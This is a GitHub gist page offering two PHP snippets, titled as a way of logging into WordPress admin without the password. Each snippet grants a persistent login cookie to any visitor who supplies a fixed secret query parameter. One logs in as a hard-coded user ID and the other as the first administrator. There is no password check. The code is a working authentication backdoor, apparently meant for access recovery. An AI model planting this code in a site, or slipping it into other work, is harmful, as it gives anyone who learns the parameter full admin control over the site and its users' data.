Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Logging to WordPress admin without the password
add_action( 'send_headers', function() {
if ( ! isset( $_GET['secure-hash-295g785j46v-change-this'] ) || is_user_logged_in() ) {
return;
}
$user_id = 123;
$remember = true;
wp_set_auth_cookie( $user_id, $remember );
// Refresh the page.
header( 'Refresh: 0' );
} );
add_action( 'send_headers', function() {
if ( ! isset( $_GET['secure-hash-295g785j46v-change-this'] ) || is_user_logged_in() ) {
return;
}
$admins = get_users( [
'role' => 'administrator',
] );
$remember = true;
wp_set_auth_cookie( $admins[0]->ID, $remember );
// Refresh the page.
header( 'Refresh: 0' );
} );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.